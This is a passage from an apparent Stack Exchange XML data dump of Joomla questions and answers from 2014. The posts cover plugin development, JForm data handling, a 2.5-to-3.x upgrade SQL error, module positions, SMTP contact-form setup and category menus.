way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;index.php?option=com_content&amp;amp;view=category&amp;amp;id=123&amp;amp;Itemid=456&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page=0)&#xA;    if($context == 'com_content.category') {&#xA;        // $article has only article -&amp;gt;text&#xA;        // $params is empty&#xA;        // how can I get category params here?&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-10-16T13:46:54.820" Title="How can I get information about the main Category being displayed in a content plugin" Tags="|development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostTypeId="2" ParentId="3629" CreationDate="2014-10-14T13:47:32.143" Score="0" Body="&lt;p&gt;Late answer, but we're doing just what you're asking with a slight difference.  We store all the data in the article just like Joomla does as not to interfere with what Joomla and any other extensions might expect, but have an &quot;extension&quot; table for the article.  That table has the same id as the article, but contains all the extra fields that we want to use with MySQL, etc..  It's fully described in my answer for &lt;a href=&quot;https://joomla.stackexchange.com/questions/4025/how-to-modify-article-structure&quot;&gt;How to Modify Article Structure&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-10-14T13:47:32.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostTypeId="2" ParentId="4783" CreationDate="2014-10-14T13:47:35.130" Score="1" Body="&lt;p&gt;In the Joomla backend, go to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Components&lt;/strong&gt; (top menu) &gt;&gt; &lt;strong&gt;Contacts&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Contacts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can add and edit contacts. There will already be a contact pre-added so you can simply open it and edit it to your liking.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-14T13:47:35.130" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostTypeId="1" AcceptedAnswerId="4789" CreationDate="2014-10-14T14:21:13.200" Score="-2" ViewCount="67" Body="&lt;p&gt;Please visit his link : &lt;a href=&quot;http://naadiastrology.info/&quot; rel=&quot;nofollow&quot;&gt;http://naadiastrology.info/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On bottom you can see : &quot;bottom menu&quot;. &#xA;Below 6 links are there, below that some empty space is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to add some text in those empty space?&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="126" LastEditDate="2016-01-22T00:30:04.383" LastActivityDate="2016-01-22T00:30:04.383" Title="Add text in empty space in Joomla corpoboost theme" Tags="|joomla-2.5|administration|basics|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4788" PostTypeId="2" ParentId="4784" CreationDate="2014-10-14T14:28:19.537" Score="2" Body="&lt;p&gt;Looking at &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_content/views/category/view.html.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;view.html.php&lt;/code&gt;&lt;/a&gt; for &lt;code&gt;com_content.category&lt;/code&gt;, the trigger call is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher-&amp;gt;trigger('onContentPrepare', array ('com_content.category', &amp;amp;$item, &amp;amp;$item-&amp;gt;params, 0));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is sending the &lt;code&gt;$item&lt;/code&gt; (article) parameters. No good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at line 72 of the same file (&lt;code&gt;parent::commonCategoryDisplay();&lt;/code&gt;), which itself is in &lt;code&gt;JCategoryView&lt;/code&gt; (&lt;a href=&quot;http://developer.joomla.org/cms-coverage/libraries_legacy_view_category.php.html#100&quot; rel=&quot;nofollow&quot;&gt;code here&lt;/a&gt;), the &lt;code&gt;$params&lt;/code&gt; &lt;em&gt;are&lt;/em&gt; stored (in &lt;code&gt;view.html.php&lt;/code&gt;, &lt;code&gt;$this-&amp;gt;params&lt;/code&gt;) but as a category isn't technically content, the contentPrepare event isn't triggered at this stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could override this &lt;code&gt;view.html.php&lt;/code&gt; to fire the event. See &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;this guide&lt;/a&gt; - but it does require a special plugin.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2014-10-14T14:50:29.760" LastActivityDate="2014-10-14T14:50:29.760" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4789" PostTypeId="2" ParentId="4787" CreationDate="2014-10-14T14:29:49.533" Score="2" Body="&lt;p&gt;Go to your Module Manager, create a new Module and set the &lt;strong&gt;type&lt;/strong&gt; to &lt;strong&gt;Custom&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once done, open this module and you will see a big textarea allowing you to add any content you like. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to set the position to &lt;strong&gt;bottom-d&lt;/strong&gt; then save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-10-14T19:04:23.053" LastActivityDate="2014-10-14T19:04:23.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4790" PostTypeId="1" CreationDate="2014-10-14T14:48:17.277" Score="2" ViewCount="1458" Body="&lt;p&gt;I'm using a frontend JForm to manipulate some data. The html form is correct, but when it is sent back to the model save function I don't receive all data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the data that &lt;code&gt;save&lt;/code&gt; receives through &lt;code&gt;$data&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [created] =&amp;gt; XXXXXXXXXXXXXXXXX&#xA;    [updated] =&amp;gt; XXXXXXXXXXXXXXXXX&#xA;    [wasteId] =&amp;gt; X&#xA;    [price] =&amp;gt; XXXX&#xA;    [pricenight] =&amp;gt; XXX&#xA;    [pricefreeday] =&amp;gt; XXXX&#xA;    [pricefreedaynight] =&amp;gt; XXXX&#xA;    [tags] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formData = new JRegistry($this-&amp;gt;input-&amp;gt;get('jform', '', 'array'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or when I got the data as the JControllerForm save method does&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formData = new JRegistry($this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've got&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\Registry\Registry Object&#xA;(&#xA;    [data:protected] =&amp;gt; stdClass Object&#xA;        (&#xA;            [wasteId] =&amp;gt; X&#xA;            [price] =&amp;gt; XXXX&#xA;            [pricenight] =&amp;gt; XXX&#xA;            [pricefreeday] =&amp;gt; XXXX&#xA;            [pricefreedaynight] =&amp;gt; XXXX&#xA;            [contractId] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; XX&#xA;                    [1] =&amp;gt; XX&#xA;                )&#xA;&#xA;            [created] =&amp;gt; XXXXXXXXXXXXXXXXX&#xA;            [updated] =&amp;gt; XXXXXXXXXXXXXXXXX&#xA;            [id] =&amp;gt; XX&#xA;        )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So fields &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;contractId&lt;/code&gt; are missing in the &lt;code&gt;$data&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea of what should I do to have &lt;code&gt;contractId&lt;/code&gt; and id on the &lt;code&gt;$data&lt;/code&gt; parameter of the model &lt;code&gt;save&lt;/code&gt; function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, the model I'm using is derived from JModelAdmin and the controller is derived from JControllerForm. The controller has no overriden functions which may affect the way it collects data from the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More clues: inspecting the &lt;code&gt;JControllerForm::save&lt;/code&gt; more in detail I've seen that &lt;code&gt;$data&lt;/code&gt; has the &lt;code&gt;id&lt;/code&gt; component with the correct value but it gets overwritten with an empty value around line 637 because of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$recordId = $this-&amp;gt;input-&amp;gt;getInt($urlVar); // around line 634 of JControllerForm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sets &lt;code&gt;$recordId&lt;/code&gt; to an empty value, in spite of &lt;code&gt;$urlVar&lt;/code&gt; value is &quot;id&quot;. Then later, around line 637 of JControllerForm $data[&quot;id&quot;] is changed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data[$key] = $recordId&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$key&lt;/code&gt; value is &quot;id&quot; and &lt;code&gt;$recordId&lt;/code&gt; is empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="160" LastEditorUserId="160" LastEditDate="2014-10-15T06:34:19.013" LastActivityDate="2014-10-15T06:34:19.013" Title="Frontend: why some fields are not in the $data param of the save function?" Tags="|joomla-3.x|component|development|jform|front-end|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4791" PostTypeId="1" AcceptedAnswerId="4905" CreationDate="2014-10-14T17:20:30.063" Score="4" ViewCount="9353" Body="&lt;p&gt;I am working a Joomla 2.5.x site upgrade to Joomla 3.x.&#xA;I have done this before smoothly but this time site behave differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when the upgrade reach upto 82.% its throw an error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error:&#xA;1091 Can't DROP 'usertype'; check that column/key exists SQL=ALTER TABLE `xxx_users` DROP KEY `usertype`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the last 6hr Im playing on it and tired .&#xA;I also read this issue reported on &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=625&amp;amp;t=830393&quot; rel=&quot;nofollow&quot;&gt;Joomla forum&lt;/a&gt;. and &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=710&amp;amp;t=793171&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. But no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current Joomla version is &lt;code&gt;Joomla! 2.5.27 Stable [ Ember ] 30-September-2014 14:00 GMT&lt;/code&gt; &#xA;PHP version is &lt;code&gt;5.5.15&lt;/code&gt; &#xA;DB version is &lt;code&gt;5.6.20&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I reached on 2.5.27 with two updated first update to 2.5.17 then 2.5.27.&#xA;Now trying with one click to Joomla 3.3.6 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already uninstalled all third party extension(non-compatible and even compatible) from my site. Now my Joomla have only few articles,conatcts and menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion or tips will be more helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="159" LastEditDate="2015-02-03T20:31:53.073" LastActivityDate="2015-06-30T20:07:05.800" Title="Upgrade From 2.5.x to 3.x SQL error: 1091 Can't DROP 'usertype';" Tags="|upgrade|one-click-updates|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4792" PostTypeId="2" ParentId="4791" CreationDate="2014-10-14T17:43:00.727" Score="4" Body="&lt;p&gt;First, go to PhpMyAdmin, open the &lt;code&gt;#__users&lt;/code&gt; table and check that the &lt;code&gt;usertype&lt;/code&gt; columns exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't exist then Create a new column and call it &lt;code&gt;usertype&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does exist, then follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download the Update Package manually from &lt;a href=&quot;https://github.com/joomla/joomla-cms/releases/download/3.3.6/Joomla_3.3.6-Stable-Update_Package.zip&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extract it to your desktop, then open the following file &lt;code&gt;administrator/components/com_admin/sql/updates/mysql/3.0.0.sql&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Remove line 18 (&lt;code&gt;ALTER TABLE #__users DROP COLUMN usertype;&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Re-zip the update package and upload it via the Extension Manager&lt;/li&gt;&#xA;&lt;li&gt;Go to PhpMyAdmin &gt;&gt; &lt;code&gt;#__users&lt;/code&gt; and remove the &lt;code&gt;usertype&lt;/code&gt; column manually&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-02-02T13:35:16.743" LastActivityDate="2015-02-02T13:35:16.743" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4793" PostTypeId="2" ParentId="4787" CreationDate="2014-10-14T20:25:02.397" Score="2" Body="&lt;p&gt;This image shows &lt;a href=&quot;http://themeforest.net/item/corpoboost-responsive-joomla-template-/full_screen_preview/3339973&quot; rel=&quot;nofollow noreferrer&quot;&gt;all module positions available&lt;/a&gt; in your template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HZaCX.jpg&quot; alt=&quot;Corpoboost module positions&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-14T20:25:02.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostTypeId="2" ParentId="4790" CreationDate="2014-10-14T23:17:18.087" Score="2" Body="&lt;p&gt;You don't show any of your code, so I'm just going to walk through what I know of &lt;code&gt;JControllerForm&lt;/code&gt; and &lt;code&gt;JModelAdmin&lt;/code&gt; — which of course will be affected by any overrides in your subclass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JControllerForm&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;save()&lt;/code&gt; method in &lt;code&gt;JControllerForm&lt;/code&gt; uses the following line to retrieve the &lt;code&gt;JForm&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data  = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('jform', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the extra &lt;code&gt;-&amp;gt;post&lt;/code&gt; segment vs. your &lt;code&gt;JRegistry()&lt;/code&gt; test, that means it's only getting the data from the &lt;code&gt;post&lt;/code&gt; data submitted. Your example uses the combined &lt;code&gt;JInput&lt;/code&gt; as a source. It's unlikely, but if those fields are submitted as part of the form URL (i.e. in the &lt;code&gt;get&lt;/code&gt; part of the submission) then they won't be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without more details, e.g. form html, your controller &amp;amp; model code (esp. if you override save/bind etc) it's hard to say. If you can add more details I can probably expand on my answer.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2014-10-14T23:17:18.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostTypeId="2" ParentId="4676" CreationDate="2014-10-15T02:56:21.177" Score="1" Body="&lt;p&gt;A free module is available at JED that does exactly this. &lt;a href=&quot;http://extensions.joomla.org/extensions/news-display/popular-content/23445&quot; rel=&quot;nofollow noreferrer&quot;&gt;Most Popular Content by Date Range&lt;/a&gt; lets you set different date ranges for the popular articles, with options for last day, last 7 days, last 30 days and All time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NjwJZ.png&quot; alt=&quot;Most Popular Content by Date Range module&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-15T02:56:21.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4796" PostTypeId="1" CreationDate="2014-10-15T07:10:22.310" Score="1" ViewCount="1937" Body="&lt;p&gt;I am programming a component that contains a modal window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the modal window, there is a calendar field. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt;?php echo JHTML::_('calendar', null, 'birthdate', 'birthdate'); ?&amp;gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The position of the calendar popup seems to be relative to the body tag instead of the div of the modal windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to make the calendar popup relative to the div of the modal windows?&#xA;Or somehow calculate/add the top position of the modal windows to his own top position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Bo0w.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1960" LastActivityDate="2019-04-08T03:55:38.487" Title="How positioning the calendar popup?" Tags="|joomla-3.3.x|joomla-api|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostTypeId="2" ParentId="4796" CreationDate="2014-10-15T08:15:10.823" Score="3" Body="&lt;p&gt;It will be easier if I explain it with some code here. Ok so you modal has a fixed position, that perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside that, there should be a relative positioned element, and then inside that, you absolutely positioned calendar. The below shows what I mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;modal&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;calendar&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CSS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.modal { position: fixed; }&#xA;.inner { position: relative; }&#xA;.calendar { position: absolute; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To use Joomla's built in modal method, have a look at the answer provided by @Brent Friar here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/8622928/1362108&quot;&gt;https://stackoverflow.com/a/8622928/1362108&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-10-15T08:30:17.880" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4798" PostTypeId="1" AcceptedAnswerId="4822" CreationDate="2014-10-15T11:42:43.533" Score="1" ViewCount="466" Body="&lt;p&gt;I'm using Joomla 3.0 and I created a basic contact form. I created a &lt;code&gt;mail id&lt;/code&gt; in &lt;em&gt;info@domain.com&lt;/em&gt; in Webmail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the contact form, after filling the details and submitting the form, I'm getting the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;smtp connect failed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The mail setting details are below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;send mail: &lt;strong&gt;yes&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;mailer: &lt;strong&gt;smtp&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;from email: &lt;strong&gt;info@domain.com&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;from name: &lt;strong&gt;name&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;smtp authentification: &lt;strong&gt;no&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;smtp security: &lt;strong&gt;ssl&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;smtp port: &lt;strong&gt;465&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;smtp username: &lt;strong&gt;info@domain.com&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;smtp password: &lt;code&gt;****&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;smtp host: &lt;strong&gt;relay-hosting.secureserver.net&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="2034" LastEditorUserId="168" LastEditDate="2014-10-15T11:53:03.433" LastActivityDate="2014-10-17T17:24:10.127" Title="Joomla contact form" Tags="|joomla-3.x|emails|smtp|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4800" PostTypeId="1" AcceptedAnswerId="4805" CreationDate="2014-10-15T12:15:21.120" Score="2" ViewCount="1268" Body="&lt;p&gt;i am creating a customer dashboard component in joomla 3.2, so i want to display user profile fields to my view and able to edit fields as well, i am displaying them manually using&lt;br&gt;&#xA;&lt;code&gt;$this-&amp;gt;user = JFactory::getUser();&lt;/code&gt; and &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;user-&amp;gt;name; ?&amp;gt;&lt;/code&gt;&lt;br&gt;&#xA;now i have to add the functionality to edit as well, like password, profile image etc.&#xA;how could i implement this functionality to my custom component.&lt;/p&gt;&#xA;" OwnerUserId="2008" LastActivityDate="2015-03-02T23:26:20.053" Title="Display and edit user profie in a custom componet" Tags="|joomla-3.x|component|plugin|custom-module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4801" PostTypeId="1" CreationDate="2014-10-15T12:25:18.070" Score="5" ViewCount="1196" Body="&lt;p&gt;How can I access my state variables in Joomla modules?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually I do it like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$variable = $app-&amp;gt;getUserState('com_mycomponent.view.filter.variable' ,'default');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in the module the result will be empty or in this case it will be the default value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the module there is a selection field. I need to store the input of the selection, to show the selected value again after submitting the page. Without that, the selection field will be reseted after submitting the page.&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-10-21T16:05:56.670" Title="Joomla access state variable in modules" Tags="|joomla-3.x|custom-module|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4802" PostTypeId="1" CreationDate="2014-10-15T13:02:14.443" Score="1" ViewCount="503" Body="&lt;p&gt;I use for my component a categories table like the categories table from Joomla. &#xA;So the structure has also the columns from the Joomla categories table:&#xA;- Table jos_my_categories structure: id, parent_id, lft, rgt, level, title ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally is use for the default sort order:&#xA;    $query-&gt;order('c.lft');&#xA;which gives a result as example (only categories titles):  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;beta&#xA;&lt;ul&gt;&#xA;&lt;li&gt;charly&lt;/li&gt;&#xA;&lt;li&gt;alpha&lt;/li&gt;&#xA;&lt;li&gt;beta &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;alpha&#xA;&lt;ul&gt;&#xA;&lt;li&gt;beta&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;zulu&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sierra&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;charly&lt;/li&gt;&#xA;&lt;li&gt;alpha&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;charly&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alpha&lt;/li&gt;&#xA;&lt;li&gt;beta &lt;/li&gt;&#xA;&lt;li&gt;charly&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But required is alternate also a tree result in alpbabetical order (also for the sub categories - in all levels):  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alpha&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alpha &lt;/li&gt;&#xA;&lt;li&gt;beta&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;sierra&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;zulu&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;charly&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;beta&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alpha&lt;/li&gt;&#xA;&lt;li&gt;beta &lt;/li&gt;&#xA;&lt;li&gt;charly&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;charly&#xA;&lt;ul&gt;&#xA;&lt;li&gt;alpha&lt;/li&gt;&#xA;&lt;li&gt;beta &lt;/li&gt;&#xA;&lt;li&gt;charly&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How must in this case be the query?&lt;/p&gt;&#xA;" OwnerUserId="1613" LastEditorUserId="1613" LastEditDate="2014-10-16T09:20:27.447" LastActivityDate="2014-11-17T07:29:21.843" Title="How can i get a categories tree view in alphabetical order without to lose the tree structure" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4803" PostTypeId="1" AcceptedAnswerId="4806" CreationDate="2014-10-15T17:07:31.313" Score="10" ViewCount="6776" Body="&lt;p&gt;I have a Joomla site with a fairly complex system of categories and sub-categories. My main menu uses the same structure, in such a way that each menu item lists articles within the corresponding category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt; Home&#xA;-&amp;gt; Category 1&#xA;  -&amp;gt; Category 1.1&#xA;  -&amp;gt; Category 1.2&#xA;    -&amp;gt; Category 1.2.1&#xA;  -&amp;gt; Category 1.3&#xA;-&amp;gt; Category 2&#xA;  -&amp;gt; Category 2.1&#xA;...etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting this up manually is quite straight forward, but it's time consuming and hard to maintain if the categories or menu items change name or location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to generate the menu structure based on the existing categories (or even better, some of the categories), including sub-categories? What approach could I look at to solve this?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2016-08-16T18:28:56.160" Title="Generate menu structure from categories" Tags="|joomla-3.x|menu|content|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4804" PostTypeId="2" ParentId="4468" CreationDate="2014-10-15T17:40:54.080" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go to the extension manager and select the update tab&lt;/li&gt;&#xA;&lt;li&gt;Click on purge cache&lt;/li&gt;&#xA;&lt;li&gt;Click on find updates&lt;/li&gt;&#xA;&lt;li&gt;Go to Control Panel. The joomla updater will now report an update available.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-10-15T17:40:54.080" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
